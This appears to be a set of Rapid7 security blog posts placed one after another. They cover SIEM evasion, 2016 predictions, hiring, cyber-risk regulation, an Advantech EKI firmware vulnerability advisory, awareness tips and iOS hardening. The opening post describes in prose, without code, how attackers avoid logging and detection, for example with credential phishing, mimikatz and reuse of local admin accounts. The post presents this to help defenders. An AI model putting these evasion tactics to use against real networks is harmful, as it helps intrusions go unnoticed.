The operations challenges translate surprisingly well to the security space. The major difference is that in security, the difficulty ramps because we’re dealing with problems that are actively trying not to be found. They’re either trying very hard not to be logged, or they’re trying very hard to not be detected when they are logged. I never had to worry about the fileserver hiding the impending crash from me.


SIEM tools do a fantastic job of aggregating logs, but as with ops logging, we need to add more to them to make sense of the data. Let’s examine common evasion techniques attackers use to keep the SIEM alerts to a minimum.


Avoid Getting Logged

SIEMs are intended to log as much data as possible in order to assist with incident detection, response, and investigation. One challenge is that it can be prohibitive, either from a cost or storage perspective, to log everything. This is particularly true for the logs on all of the endpoints in an environment. Therefore, the best way to evade a SIEM security is to use tactics that are unlikely to be logged at all.


1. Social Engineering Remains King.


There aren’t many better ways to get a foothold on a network than to have the users let you in. Social engineering is great for stealing credentials and getting shells. This can be done through malware, but it often simply involves convincing the user to type their password into a web form. Going straight for the credentials has the added benefit of not showing up in logs, well, anywhere. Even with malware, it’s nearly trivial to write an attack package that will avoid antivirus, and VirusTotal gives attackers an easy medium through which to verify this. A meterpreter shell in particular isn’t getting logged anywhere, and in most cases the outbound connections from a workstation are neither filtered nor tracked.


2. Stay Local. Once a foothold on a particular system is established, one of the most effective methods to move around unseen is to leverage local credentials. Many organizations leverage local administrator credentials that work across the environment. Unless they’re watching the logs on every endpoint, local authentications aren’t logged centrally and won’t be seen. An attacker can take their time and move merrily from system to system, seeking out valuable information or more powerful network credentials at their own pace.


3. Play in the Cloud. Many organizations have limited visibility into cloud services. Valuable information can often be found in services like Office 365, Salesforce, and A SIEM that’s logging authentication attempts and security tools inside the perimeter often isn’t covering cloud services. Stolen credentials, either from the aforementioned social engineering campaigns or from another source, can be re-used with ease against cloud services. Here an attacker can try to find further pivot points into the main infrastructure or cash out on the data they have immediate access to.


Avoid Getting Detected

While not getting logged is a lovely ideal, eventually an attacker will have to start making some kind of noise that gets logged where a SIEM can see it. They then run the risk of being caught by the various rules and detections that organizations configure in their SIEM. Detecting activity that varies from the baseline or starts stepping outside of its normal boundaries is powerfully dangerous for the attacker, and is the reason most companies employ a SIEM in the first place. Thankfully (?) there are a variety of tactics and techniques that can minimize the number of alerts generated, or avoid triggering them altogether.


4. Leverage Service Accounts. Service accounts are a particularly juicy target for an intruder. The beautiful thing about service accounts is that attackers can often just sit and wait for them to drop in their lap. A compromised system, whether it be a workstation or server, is likely to have some kind of service account log into it at some point, given enough time. Examples? Vulnerability scanners. Patch management systems. Software deployment. Many of these are operated using service accounts with passwords that never change… and have access to the entire network. It’s a simple thing to wait for a service account authentication and steal either the token, hash, or cleartext password using something like mimikatz or incognito, and then move around the network. After all, there’s nothing suspicious about an account whose normal activity is to sweep through the network.


5. Low and Slow.


When on a monitored network, an attacker’s best bet after getting an initial foothold on a compromised system is to take a breath. Start looking at the network traffic coming to and from the system. Which systems are common targets? Which accounts are logging in and out? Which ones log in locally versus remotely? For example, the primary user of a particular compromised workstation might normally connect to a fileserver and a small group of shared workstations. These are the next logical stepping stones for the attacker. Evading a SIEM is as simple as not making any waves. When an account is seen moving to another system, follow it. Most SIEMs will have a great deal of trouble detecting an attacker that follows the same traffic patterns as the users and systems of the networks they compromise.


These techniques are used by attackers and penetration testers alike to avoid detection. SIEMs are great at aggregating data from a ton of sources, but without a significant cost and effort investment, most have major gaps in either the logging or the detection portion of the job.


At Rapid7, we’ve taken our knowledge of the attacker from the Metasploit project and our Global Services into our User Behavior Analytics solution, UserInsight. UserInsight fills the gaps in SIEM coverage to help detect stealthy attacks, accelerate investigations with user context, and expose risky user behavior from endpoint to cloud. To learn more, check out our 5-minute video, or request a free guided demo!

Following up our earlier post with 2015 key learnings, we asked our panel of lovely infosec pros to gaze into their crystal balls, consult the runes, and read their tea leaves to make their predictions for 2016. In many cases, their notes are less prophetic and more ardent hopes for a better, more secure future. We've listed their predictions below, including several from our own fabulous Team Rapid7 (though I'm obviously biased!).  We hope you'll share your own predictions too -- what do you think 2016 has in store for us? Tell us your thoughts in the comments.


If you'd like to hear more in-depth predictions for the coming year, please join us for our webcast this Thursday, December 10, at 2pm ET: "2016 Security Predictions" with Rick Holland and Lee Weiner.


Chris Hadnagy (@humanhacker), President and CEO of Social-Engineer Inc

I almost hate to do this as I fear speaking it out loud… but lots more vishing this year coming.  I think we will see multi-vectored attacks on the rise. That is where attackers use phishing followed by a call, or visa versa.  I think we will see a higher level of sophistication in these attacks, as well as a larger number of banking-related scams overall.


This is one area where I would love to be proven wrong and instead to see 2016 be the year of international harmony without malicious hacking….


Rick Holland (@rickhholland), Vice President and Principal Analyst at Forrester Research

The digital Tony Sopranos are only going to get worse, extortion against healthcare organizations responsible for availability of life sustaining medical devices will occur. Security teams must be on the lookout for the cyber waste management consultants.


David Kennedy (@HackingDave) CEO and Founder of TrustedSec, Founder of DerbyCon

I think 2016 is the year of mass cloud pwnage. It’s been a long time coming and more companies adopting internet of things, cloud centric servers, and mass data heists – I think this will be one of the main focal points. It probably already is, just not having any detection capabilities in cloud providers to notice it will be a challenge. Additionally, mobile attack vectors I believe will start to rise. More and more information is being stored and I feel like MDM fizzled off quite a bit this year because we haven’t seen the amount of attacks predicted. I think with Google fragmentation and security threats at an all-time high and the process of having to move from Google to manufacturer to carrier, you're looking at usually a 6 month period before an update hits your phone – this is major. Additionally, more attacks leveraging client-side exploitation and a general lack of monitoring and detection still being the leading cause of breaches in 2016.


Katie Moussouris (@k8em0), Chief Policy Officer at HackerOne

One thing is certain as we increase our dependence on technology in our society: Attacks will also increase, both targeted and otherwise, and we need all hands on deck as defenders to work together. My prediction is that security recruiting will become among the most important goals of defenders, and with a global shortage of qualified workers in this area, we will see more creative ways to find talent increase, such as the use of bug bounties to help identify key talent in the global marketplace. That means that lawmakers trying to regulate internet security technology, governments, private industry, and major enterprise consumers of technology need to find ways to hear more directly from the security research community, and carefully consider any laws or regulations that make it difficult to work with the emerging global technical talent pool. Our ability to grow our collective defense capabilities depend upon adopting a more agile recruiting model than what has traditionally been the pipeline in the past.


Wendy Nather (@RCISCwendy), Research Director at the Retail Cyber Intelligence Sharing Center

My prediction for 2016 is that we’ll continue to see a glut of security startups, all throwing the equivalent of spaghetti at the wall. At the same time, the more mature organizations, such as financial institutions, will take a harder look at their portfolios and start trimming them of waste. There will be more focus on efficiency and efficacy (not ROI), rather than buying one of everything.


Kurt Opsahl (@kurtopsahl), Deputy Executive Director and General Counsel of the Electronic Frontier Foundation

In 2016, the infosec community will have to face regulatory pressures, through things like the Wassenaar Arrangement (export controls), multi-national attempts to regulate strong encryption, and the expansion of anti-curcumvention restrictions through the Trans Pacific Partnership.  By working together and educating policy makers, the infosec community can stop or slow the worst regulations and ensure that vulnerabilities can be discovered, exposed and fixed.


Tod Beardsley (@todb), Security Research Manager at Rapid7

I believe, and fervently hope, that the security issues dogging the Internet of Things will reach a critical level of both awareness and accountability. Given what the Federal Trade Commission is doing this year with its “Start with Security” campaign and the growing coverage in mainstream media outlets about the state of security with IoT, I expect to see vendors of IoT devices take on real responsibility for the security of their devices. We in the security industry all know that hacking IoT devices is like dropping back ten years, and I believe that the mass consumer market will drive creative and realistic solutions to the problems of old software, old build processes, and the fractured patch pipeline.


Rebekah Brown (@pdxbek), Threat Intelligence Lead at Rapid7

We will continue to break free from the echo chamber. We are already seeing this with security researchers spending more time talking to law makers and infosec professionals actively reaching out to engage with non-security sector organizations. This trend will (hopefully) continue into 2016 and will help break down the communication barrier that continues to plague us as an industry.


Jen Ellis (@infosecjen), Vice President of Community and Public Affairs at Rapid7

We’ll see the massive focus on cybersecurity in the policy sphere continue, and perhaps even increase, with organizational and system changes made in the Administration to reflect this prioritization.  With this continued emphasis on cybersecurity in the Government, I hope we’ll see the level of engagement between policy makers and the security community increase, and I hope we’ll see it drive positive outcomes.  However, I am concerned that we’re likely to see some pretty scary legislation being proposed – we’ve already seen a bill that would prohibit independent security research on cars.  It’s on us to educate legislators about the potential fallout of these efforts. I hope we’ll see the security community take a more collaborative, thoughtful, and productive approach to engaging policy makers, so we can avoid legislation that hinders security, rather than helping it.


Trey Ford (@treyford), Global Security Strategist at Rapid7

Come see the softer side of security.


My prediction is probably aspirational: I am hopeful we’ll see more transparency in incident and breach communications. The public isn’t afraid of “yet another breach,” they’re afraid the organizations they have a relationship with will violate their trust. In our series on VERIS, we’ve talked about the questions the public wants to see answered: who took what action, against what systems or information, with what impact, when, and what is being done about it?


Security will continue the shift of focusing more on trust than compliance.


Guillaume Ross (@gepeto42), Senior Security Consultant at Rapid7

Privacy and security will become more of a concern for consumers in 2016, and perhaps a slight marketing advantage for hardware and software vendors, though it will not become the main criteria for most people choosing a device such as a smartphone or an operating system.


As we are talking about things that will probably not happen, let’s get those un-predictions out of the way:


The Internet will not get DDoSed by a botnet of fridges and toasters, though a few will certainly take hold.

The Internet will not get DDoSed by a botnet of smartphones, as they will run out of power after an hour.

Information Security jobs will not be filled rapidly, as companies will still be struggling to find staff, preferring managed services in many cases, where appropriate.

No, not everyone will be done patching Heartbleed, and no, the amount of services exposed to the Internet at the end of 2016, including SCADA systems, will not be lower than the amount of services exposed at the end of 2015.


Corey Thomas, President and CEO at Rapid7

We'll see a greater gap between the well-managed and the poorly-managed, our security version of income inequality.  The poorly-managed will continue to ignore, pay lip service, and rely on mostly on controls.  The well-managed will recruit teams directly or through partnerships and build effective programs.

Building-Teams.pngHaven’t read part one of this blog? TL;DR:

  • The security talent gap is real.
  • Creating and promoting strong company culture attracts and retains top performers.
  • Security professionals should always be actively recruiting – both internally and externally.

With that gross oversimplification under our belts, let’s start into the next set of takeaways…


The job description – it matters.

Job descriptions don’t just ensure that qualified candidates are finding your organization in the course of their job search. Knowing the key functions, responsibilities, and daily duties helps to lay the groundwork for a satisfying and rewarding career path by setting expectations at the outset. This may sound obvious, but too often organizations rely on generic job descriptions without being specific about what the role entails, the required skills, and the work to be undertaken.


Help your business partner on the HR team out – be very clear in the minimums you seek for each role, as we face a situation where there isn’t enough expertise to cover our needs. Focus your minimums on what is required to get the newbie to a point where they are contributing in a meaningful way, and be realistic with how much energy and patience you (and the team!) have for getting the new hire up to speed.


I asked CISOs about their strategies for finding the right people. “Not everyone needs a security background, in the beginning,” one told me. “I try to write job descriptions that reflect this. If you want a first line analyst, you don’t necessarily need someone straight out of school with an infosec degree. You need someone who is passionate about solving puzzles. Maybe they did game theory, or something else that’s completely outside of security. Let that come through in the job listing, so you’re casting a wider net at the get go.”


Another CISO echoed the concept that innate personality traits can sometimes be more important than learned skills: “I want people who like to experiment. Programming backgrounds are great, but you can’t advise programmers on how to fix a problem if they don’t understand how it got there in the first place.”


“The job description is key,” another agreed. “Some are just awful – they don’t talk about how success will be measured for that particular role. First off, know what your company pays, because that will determine whether you’re looking for talent in the right places. In my case, the company has a mandate that security is important and so we don’t want to under-invest; that means we’re aiming for the top people. I’ve had experiences in my career where I’ve had to put ego aside and acknowledge that the business isn’t in the market for the cream of the crop.”


But here’s my favorite summary of what to look for in candidate: “You want to find someone with the right kind of insanity.”


Remember when I wrote about soft skills? Yeah, they still count.


If you’re a CISO, you’d better be good at playing the politics game – time and again, interviewees proved that interpersonal relationships are a core part of the gig. Hiring and retention is no exception. Whether you’re best buds with HR or have developed a grudging respect over the years, you’ll need to have a good working relationship if you want to attract and keep strong players.


“Salary is tough to go to bat for,” said a CISO, “but I will do it for someone who I want to keep very badly. Things like out-of-cycle raises aren’t easy to get, either. You have to know how to negotiate for one.”


There was also a shared sentiment around how quickly talent can grow and improve, “It’s not impossible to find fundamentally strong people that you can train up,” said another. “In those cases it’s a question of starting low and then accelerating funding by maybe 10k each year. You can’t always follow the 3-5% uptick that most organizations adhere to. So I’ll work with HR and finance to explain that to them, and get them on board with the fact that otherwise we won’t be able to hang on to these people.”


Another iterated the same frustration, “I have had people get on the phone, entirely disinterested in the position, but the quick conversation helped re-calibrate HR’s expectation of what someone with that skillset brings home.”`


“Most of my guys have an appsec background and strong pentesting skills. HR will look at a candidate and say, ‘They have 15 years of knowledge, and as a security architect here is what their salary would be.’ But no way will I get a 15-year veteran with the right skillset at that price point. I’m having issues finding good data that I can show to my organization that will demonstrate what someone in the role should actually get paid.”


Budgeting, which I’ve explored in more depth separately, remains an exhausting process. “I always fight the budget battle. You have to pick and choose what you’ll fight for; in some cases budget constraints aren’t worth making a stink about. If I can, to avoid adding headcount I’ll outsource the work to another organization with the right capabilities, so I don’t have to reproduce them internally.” Another CISO gets creative with HR: “Sometimes we can sweeten the pot with a work from home program, or by encouraging employees to go to security conferences. Not everyone will be a rock star, so find a way to reward those who are.”


Miscellaneous Sound Bites


In the course of conducting these interviews, I gathered a lot of cool tidbits. Not all of them qualified as top takeaways, but the insight is still valuable and so I’ve rounded up a few of my favorites, in the hopes that you may still benefit.


Of particular note was the fact that many interview subjects expressed frustration about the lack of women in security. Unfortunately, this is a very real problem that doesn’t have a simple solution—it will require a concerted amount of focus and investment, the benefit of which may not be seen for many, many years to come. There is a lot of energy being invested in STEM initiatives, pulling a variety of young people toward the security community early on is an excellent way to prime them for an infosec career, but that’s a very separate discussion that warrants its own deep dive.

  • “Maybe the talent gap is partly caused by people not wanting to pay [security professionals] enough money. It’s like how people say it’s impossible to hire a skilled welder for 10 bucks an hour – if you’re not paying market wages, then yes you won’t find people with the skills you want.”
  • “Wannabe security practitioners who are still in their undergrad should find a local security meetup, like ISSA or BSides, or look to get involved in CTFs. These are great ways to learn the basics of reverse engineering, hacking, etc.”
  • “The security mindset is different from other technology disciplines. ‘The how do I break this?’ mentality is something you want to look for.”
  • “I don’t have a high attrition rate. My approach is to treat employees like my kids – a little bit of love, a little bit of discipline, lots of accountability, and some fun as well.”
  • “You can’t fear stolen talent. Talent will move – accept that. Instead, focus on having an environment that is interactive and engaged. People will always know whether you care or not.”
  • “I don’t worry about my people leaving or being stolen – it is *my job* to make the team, the work, the environment, and the opportunities hard to walk away from.”
  • “I strive to make leaving my team a very long, exhausting, and emotionally taxing experience. We are a family.”


As always, if you've got thoughts, or would like to join the conversation- comment below, or track me down!

~ Trey

As we ramp down the activities of 2015, the cybersecurity landscape has certainly shaped strategy for the new year and beyond. Effective strategic planning is important and can lower risk and operational costs for organizations. Managers will usually plan for the changing threat landscape, looking at weaknesses and vulnerabilities internally and make a plan for how to shore up defenses. To plan effectively, you’ll want to consider information on the coming changes in the security landscape as well.


Developing an effective roadmap should take into account indirect cybersecurity changes too. Several significant announcements happened in the last quarter of 2015 that could potentially impact how companies approach cybersecurity.


The TL;DR version is:


  1. 1) The SEC is changing its position on cybersecurity risk, shifting from a data focus to a market focus
  2. 2) Insurance companies are looking at cyber risk much more closely and will price it according how companies are prepared to deal with it
  3. 3) Company credit ratings will start to be influenced by their approach to cyber risk


In April 2015, the SEC division of Investment Management issued cyber security guidance. This guidance “highlights the need for firms to review their cybersecurity measures.” In September 2015, the SEC Office of Compliance Inspections and Examinations (OCIE) issued a cybersecurity risk alert.  Combined with an OCIE Sweep Summary, these three documents may have significant precedential power, akin to law. What is clear is that the SEC is regarding cybersecurity as not just a risk to data, but to the markets themselves.


Which takes us to important point number two, Lloyd’s of London is requiring syndicates (essentially underwriters) to properly consider cybersecurity risks as an essential component to pricing cybersecurity insurance. Lloyd’s is demanding the underwriters have risk-appetite statements signed off by their boards by December of 2015, and estimate their exposures by 2016.  This will have an impact on what companies pay for cyber insurance.


Lloyd’s also lists Market Crashes as the highest risk in its City Risk Index 2015 – 2025.


The third significant announcement came from Moody’s Investor Services. They state that rising risks in cyber security could potentially affect company credit ratings.  Moody’s said cyber defense, detection, prevention and response will be a higher priority in credit assessments. If you’re a Moody’s subscriber, you can get the report titled “Cross Sector – Global: Cyber Risk of Growing Importance to Credit Analysis.”


Although these announcements mostly pertain to publicly traded corporations, private companies could soon be affected as well. After all, many private companies emulate the rules around public companies to hedge their own risk.


The key takeaway for all of us? With the SEC and Lloyd’s both identifying market risk as a driving factor for the future, cybersecurity in 2016 can take a much more important role in business planning and strategy. Use this opportunity to educate your executives and boards today.

Advantech EKI Multiple Known Vulnerabilities

While looking into the SSH key issue outlined in the ICS-CERT ISCA-15-309-01 advisory, a number of additional security issues were discovered with the product. All results are from analyzing and running firmware version 1322_D1.98, which was released in response to the ICS-CERT advisory.


Product Summary

The Advantech EKI series products are Modbus gateways used to connect serial devices to TCP/IP networks. They are typically found in industrial control environments. The firmware analyzed is specific to the EKI-1322 GPRS (General Packet Radio Service) IP gateway device, but given the scope of ICSA-15-309-01, it is presumed these issues are present on other EKI products.



HD Moore of Rapid7, Inc.



The following three issues were discovered by examining the available firmware for the EKI devices.


R7-2015-25.1: Shellshock

The product includes the bash shell, version 2.05. This version is vulnerable to the Shellshock vulnerability. This flaw can be exploited through the Boa web server through any of the shell scripts in /www/cgi-bin. The exposure has been successfully exploited on both versions 1.98 and 1.96, tested with the actual binaries in an emulator environment with a Metasploit module submitted as PR #6298.


R7-2015-25.2: Heartbleed

The product includes OpenSSL version 1.0.0e, which is vulnerable to the Heartbleed vulnerability as well as a number of other issues. This should be exploitable via the Boa HTTP daemon.


R7-2015-25.3: DHCP Stack-based Buffer Overflow

The DHCP client is version 1.3.20-pl0, which appears to be vulnerable to a number of known issues, including CVE-2012-2152.



All three issues require an update from the vendor in order to update the shipping software to versions patched against the named issues. End users of these devices are advised to ensure that these devices are not reachable by untrusted networks such as the Internet.


Disclosure Timeline

These issues are not newly discovered vulnerabilities, but rather known vulnerabilities that are shipping on production industrial control systems today.


As we prepare to move into the end of the year holiday season, organizations tend to enter into one of two modes: they are either winding down end of the year activities in preparation to close their books, or they are sprinting to get things done before the end of the year. Sometimes it’s a mixture of both these things. One common theme no matter what mode you are in, is your users will be distracted by the holidays. And if they are distracted, they are more prone to error, which means more vulnerable to attack and fraud.


But you can use this to your advantage! One of the best tools in your awareness toolbox is communication. Your users will listen to you especially if you communicate messages they are open to hearing. Online fraud spikes during the next couple of months, so helping your users with their holiday shopping is an excellent way to get your message heard.


Remember, imparting awareness is about changing behaviors, so giving your users tools to be aware of their online behaviors in their personal lives can naturally spill over into their corporate lives. It’s a win-win!


The best thing about this technique is that it’s free. There are many resources available from many outlets that you can use to send your message. Or you can create your own, tailored to your users and their needs. I prefer a mix of both of these, as you can tailor your message and also get some support from some significant resources.


Here are a couple of articles that popped up recently in my Flipboard feed that have good content:



If you are not aware (ha!) SANS publishes the free OUCH! Newsletter on security awareness, and the November 2015 issue contains online shopping tips. The nice thing about OUCH! Is you can just redistribute it.


Again my preference is a combination of all these things. Planning your message to hit the hot topics in your organization will have the best effect for you. For example, during a security awareness roadshow, I got asked the same question by a lot of people that I had not even thought would be an issue today.


“Is it safe to use my credit card online?”


Of course this depends on your interpretation of safe. However it occurred to me that my users very likely did not understand what the fraud rules were around using credit/debit. So a quick search revealed the FTC rules around the The Fair Credit Billing Act (FCBA) and the Electronic Fund Transfer Act (EFTA). Here’s the resource page that explains the liability:



The biggest takeaway is the difference between ATM/Debit and credit cards. While the liabilities are limited similarly, the ATM/Debit is higher risk because it directly accesses funds which are then unavailable until the dispute is resolved. This may not be news to you, but you would be surprised at the number of your users who don’t understand this. Having you state it and then backing it up with FTC rules makes a very powerful message. Obviously this applies to USA, so for your country the rules may be different.


Another strong message is showing how to avoid clickfraud by not clicking on tracking numbers in UPS or FedEx or USPS fake shipping emails. It’s natural that people will have ordered something, or maybe a lot of things online, and maybe they’ve ordered so much they might be wondering what package is arriving. All these outlets have web pages devoted to exposing the fraud.



The tip here is to not click the link, but go to the shipper’s website and enter the tracking number manually. Again, this may seem obvious to you, but to those who are not aware, it can be an epiphany.


Another thing I like to do is give users tools to make smart shopping choices. Very often non-technical people are buying computers for themselves or their kids who are in school. Creating a simple matrix on buying a PC (what to look for, what terms mean, etc) and passing it out can be a huge help.


And since this is the season of giving, I’m giving this to you! Attached to this post is a Powerpoint my take on a typical outreach document than you can re-brand and distribute, tear apart, or whatever you like. I prefer to use the more visual elements, infographics and a newsletter style, but I included some word summaries that you can take from. Now you can help your users be safe when they want to buy that Sarlaac Toilet or Bacon Bandages! I also included the “How To Buy A Computer Guide” that you can use, modify or whatever.


The best gift you can give yourself is to build on this idea. Use this holiday season to start your outreach and then keep it going as often as you can; weekly, monthly, quarterly, or whatever period you can manage. The trick is to keep those lines of communication open, and your users will be more open and willing to accept your messages over time.


Early this year, I posted an article on iOS Hardening that used animated GIFs to explain most of the recommended settings.


Since then, iOS 9 was released, bringing along many new features, including better support for Two-Factor Authentication, as iMessage and FaceTime now work without the need for app-specific passwords, and as your trusted devices now automatically get trusted when you authenticate using them


As many people will be getting new iOS devices this holiday season, I decided to write about some simple, but very effective settings you can configure on iOS, to improve security significantly and reduce annoyances.


This guide is meant for personal devices, but most of the recommendations here should apply to enterprise as well. However, some of the settings require making a device "supervised", which is typically not done on devices owned by employees.


First, let's described some annoyances, and what the features to resolve them and improve security are. Then, we'll go over how to deploy these settings to iOS devices. Some of these will be even more valuable to those of you that travel often, and end up having to use Wi-Fi, as well as leaving iOS devices in less-than-ideal locations without keeping physical control over them.



Two of these settings will require you to set your device to be a supervised device. These are is the settings to prevent a device from being paired to iTunes, as well as from trusting new enterprise application certificates.


This means that you should only perform this change on devices that you own, but it also means that you will need to wipe your device in the process, and that restoring of a prior-to-supervision backup to a supervised device actually undoes the process. This is why I am posting this around the holidays, as it is an ideal guide for new devices, when you can benefit from a clean setup.

Ex: Restoring from iTunes or iCloud after supervising a device will simply restore it to its prior state, without the configuration profile.


No matter what, make sure you have good backups, but understand that you may lose data.

The settings that are not marked as "supervised only" can easily be used on existing devices.


Annoyances and Security Issues

Problem 1 - Ability to Trust Other Computers

Your iOS device prompts to trust each computer you connect it to. Then, if you mistakenly trust another computer, you'll need to delete all your network settings to delete that trust relationship.

While it's great that it doesn't trust computers by default, wouldn't it be nicer if it just did not ask?

Why would anyone want to trust another computer from their iOS device?



No more annoying prompts, no chance of trusting a computer by mistake, and even if your iPad was stolen unlocked from your hands, the thief would not be able to back it up to iTunes for further analysis.

For an excellent explanation of why this setting is valuable, see this article by iOS Forensics expert. This article, as well as some other research he has performed is a big reason why I've decided that this setting made sense for me, and why I believe more people should be using it.


Note that the screenshots in his detailed explanation, at the moment, are not up to date for iOS 9 and the latest Apple Configurator.



As mentioned above, this setting will require your device to be supervised, which means it will need to be wiped. Additionally, you will not be able to use iTunes, and even importing photos on other computers will be impossible. This, in itself, is a great feature, but consider how you use your device. If you use iCloud Photos and iCloud Backups, you probably very rarely use your device through USB for anything but charging, and if you use iTunes Backups, it will be possible to back your device up via the Apple Configurator later.


Problem 2 - Ability to Allow Untrusted Certificates

You're at the airport, or in a hotel. You hop on Wi-Fi, and before you can accept the captive portal's terms, so your VPN session can then be established, you receive a bunch of SSL/TLS warnings about untrusted certificates being used for your email, a page that was already open in Safari, or any other type of encrypted connectivity.


If you've ever received so many of those that you accidentally accepted one of them, and realized one of your email accounts tried to authenticate using that certificate and proceeded to rapidly change that account's password while in a state of semi-panic, this setting is absolutely for you.



Your iOS device will now simply refuse to establish a connection when the certificate is untrusted. This will reduce the amount of pop-ups from background processes such as email sync, but will also prevent the accidental acceptance of such a prompt, which could lead to leaked data and credentials.



If you often use your iOS device to connect to services that are protected by self-signed SSL certificates, you will be unable to do so after enabling this feature, unless you then install the appropriate certificate on your device. You can use the Apple Configurator to push any Root CA you need, as well as individual certificates. You will also lose the ability to connect to websites that, for some weird reason, decided to use self-signed certificates, which is not only rare but probably a bad idea to begin with.


Problem 3 - Redundant Prompts for Password Management

You use a password manager such as 1Password. You never want to be prompted again to use iCloud Keychain, or to save a password for a specific site in Safari (NO, NOT NOW, NOT EVER!!).



While this is not necessarily a security improvement directly, as iCloud Keychain has some interesting security capabilities, it is a security improvement in the sense that it will prevent duplication of databases containing them. To me though, it's more about not being interrupted when logging into a website, or being asked to configure a feature I will never use.



Autofill will be disabled for other fields as well. This is less of a problem if the password manager you use also allows you to manage identities, and other non-password information.


Problem 4 - Backup Options are not Enforced

You've decided how you want to handle backups on iOS.

The options you have are:

  • iCloud Backup. Easy, automated, probably the best way to avoid accidentally losing data, but will backup your data in a way that defeats some security features such as end-to-end encryption on iMessage. If this is a big deal to you, remember that the people you communicate with using iMessage probably use iCloud Backup.
  • iTunes Backups: Less automated, requires using a computer, but allows you to keep your data locally. If using iTunes backups, ensure that encryption is enforced, so that anyone with access to your computer can not simply restore the backup. You will also gain the ability to restore more items from the keychain, when using encrypted backups, meaning you will not have to login to as many apps after restoring. You can't use this if you decide to enable the features to mitigate problem 1.
  • Apple Configurator Backup: Not automated at all, requires you to manually perform a backup. Those backups can be encrypted like iTunes backups, and can be performed from the Configurator host, in case you prevent iTunes pairing as shown in problem 1.
  • Do not backup, rely on apps that sync data to other local systems or cloud services. (pro tip: you always need backups, especially when you thought you didn't. I lost many Crossy Road characters thinking that I didn't need to back up one device so frequently).



Once you've decided what your backup strategy is, it's important to enforce your choice as much as possible to avoid things such as accidental clear text backups on iTunes, or accidental iCloud backups.


Problem 5 - Enterprise Certificates are Allowed to be Trusted

By default, your iOS device could prompt you to install an application signed by an enterprise. This is typically used to deploy corporate applications, but could also be used to distribute malware, as shown by Palo Alto with YiSpecter recently.


With iOS 9, Apple made the process safer, but someone with physical control of your device could definitely perform these steps by hand, and if it is a device used by multiple users, someone could be tricked into trusting an enterprise certificate.



Your device will not accept new enterprise certificates and applications signed with them.



If you actually need to install enterprise apps, you'll want to avoid this setting. This is also a device that will require a supervised device, meaning you will need to wipe it to enable the setting.

Personally, I have some iOS devices on which I know I will never install an enterprise app, so I turn this on, and feel smug about how I will not accidentally trust one in the future.

Problem 6 - Web Browsing Defaults are Less than Ideal

Ad tracking, pop-ups and other types of often distasteful ads making your browsing experience slower, less private and less secure.



We will ensure that iOS and Safari are configured to reject third party cookies, force limited ad blocking as well as block pop-ups. Obviously, this is not a replacement for running a good Content Blocker, but it is a nice baseline to have.



Some websites could break due to those settings, specifically regarding cookie handling. Two options will be provided in the guide, one more secure, one slightly less so but more compatible.


Let's do it!


Install Apple Configurator 2

From the Mac App Store, install the Apple Configurator 2. Prior versions will not work with iOS 9. Make sure no devices are connected via USB and start the Configurator.



Connect via USB

After ensuring you have good, working backups (better safe than sorry), if you plan to wipe the device and to make it supervised, sign out of iCloud to disable Activation Lock temporarily.

Connect your device to the computer running Apple Configurator 2 over USB. Ensure that you are under the All Devices tab. You will see your device appear. If a Lock icon appears, unlock the device.




Prepare the device


Select your device by clicking on it in the Apple Configurator, then click Prepare.



If you want to be able to pair-lock this device to just this computer, as well as to restrict enterprise applications, you need to supervise the device. Remember that this will require wiping the device.

If this is how you want to proceed, select Supervise Devices, and ensure Allow devices to pair with other computers is not selected.




Finish Preparing

Finish preparing the device by selecting:


  • Configuration: Manual
  • Server: Do not enroll in MDM (if you are performing those steps on a corporate device, you know what to do)
  • Organization: Create a new organization. The names you put in there will appear in the configuration screens but do not have to be real. Only a name will suffice.
  • Supervision Identity: If prompted, create a supervision identity. If you already had one, this means you already had supervised devices configured from this computer. If not prompted, you are either not supervising the device, or as you didn't have one before, an identity will be created automatically. The identity, in reality, consists of certificates used between the iOS device and Mac to authenticate the USB connection. Make sure those are backed up, since a lost supervision identity could mean having to wipe the device to modify the profile in the future.
  • Setup Assistant: Show All Steps. You can customize this, but for personal purposes, it's not very useful.


The Configurator will start preparing the device.

If you see such a prompt, remember that clicking Restore will wipe the device. In this case, the test device I am using already had data on it, was managed, etc.


Then, the Configurator will download the latest version of iOS, install it, and prepare the device,  which should take from A Long Time to Forever.



If your device had Activation Lock left enabled, you might receive this prompt. In this case, activate the device manually, then start over.



Done Preparing

Once the process is complete, your device should show up under the Supervised or Unsupervised tab, depending on what you chose. It is now ready to be configured.



Create a Profile

  • In Apple Configurator, hit File, then New Profile.
  • Name your profile, and see if you want to give it an identifier, description and more. These fields will be displayed only, except for the identifier, which will be used int he future to identify that profile and ask you if you want to overwrite it, if you ever modify it.
  • The Security and Automatically Remove Profile field are interesting. If your device is supervised, it can't be paired to iTunes. You can chose to set the profile to be removable Always (dangerous, especially if you expected to prevent an adversary from being able to perform an iTunes backup!), With Authorization (a passcode that it will prompt you for, which I would recommend not storing on or with the device), or, the most secure option but most restrictive, Never. As for Automatically Remove Profile, for personal usage, I can't think of any reason not to set it to Never.
  • Go to Restrictions and click Configure.
  • For Problem 1, go to Restrictions, Functionality and ensure Allow Pairing with non-Configurator hosts (supervised only) is unchecked.
  • For Problem 2, still in Functionality, ensure that Allow users to accept untrusted TLS certificates is unchecked.
  • For Problem 3, in Functionality, ensure that Allow iCloud Keychain is unchecked, and that under the Apps tab, Enable Autofill is unchecked.
  • For Problem 4, in Functionality, if you use iTunes backups, ensure that Force Encrypted Backups is checked and that Allow iCloud Backup is unchecked. If you want to use iCloud backup, ensure Allow iCloud Backup is checked, but the encryption setting will have no impact. If you want to use Apple Configurator backups, I recommend forcing encrypted backups and disallowing iCloud backup, though the forced encryption setting does not appear to apply to it, disabling iCloud Backup will prevent accidental online backups.
  • For Problem 5, in Functionality, make sure Allow Trusting new enterprise app profile (supervised only) is unchecked.
  • For Problem 6, under the Apps tab, ensure that Block pop-ups is checked, that Accept Cookies is set to From Current Website Only (most secure) or at least From Websites I Visit (more compatible, more secure than the default value). Under the Functionality tab, ensure that Force Limited Ad Tracking is checked.
  • While you are creating the profile, feel free to configure additional security settings, such as enforcing better passcodes, or pre-configuring your Wi-Fi network name and password so you don't have to type those 127 random characters on a small device screen.
  • Save the profile, close the profile window.


Apply the Profile


  • Back on the main Configurator screen, select the device, then click Add, select Profiles, and browse to your recently saved profile. Add it.
  • The device will be reconfigured automatically, which should take a few seconds.
  • Browse to Settings on your phone, go to General and select Profile. You should now see your profile, and if you drill down, get to a screen describing the configuration changes that apply. 

Backing up your device, if you now prevent pairing and do not use iCloud Backup

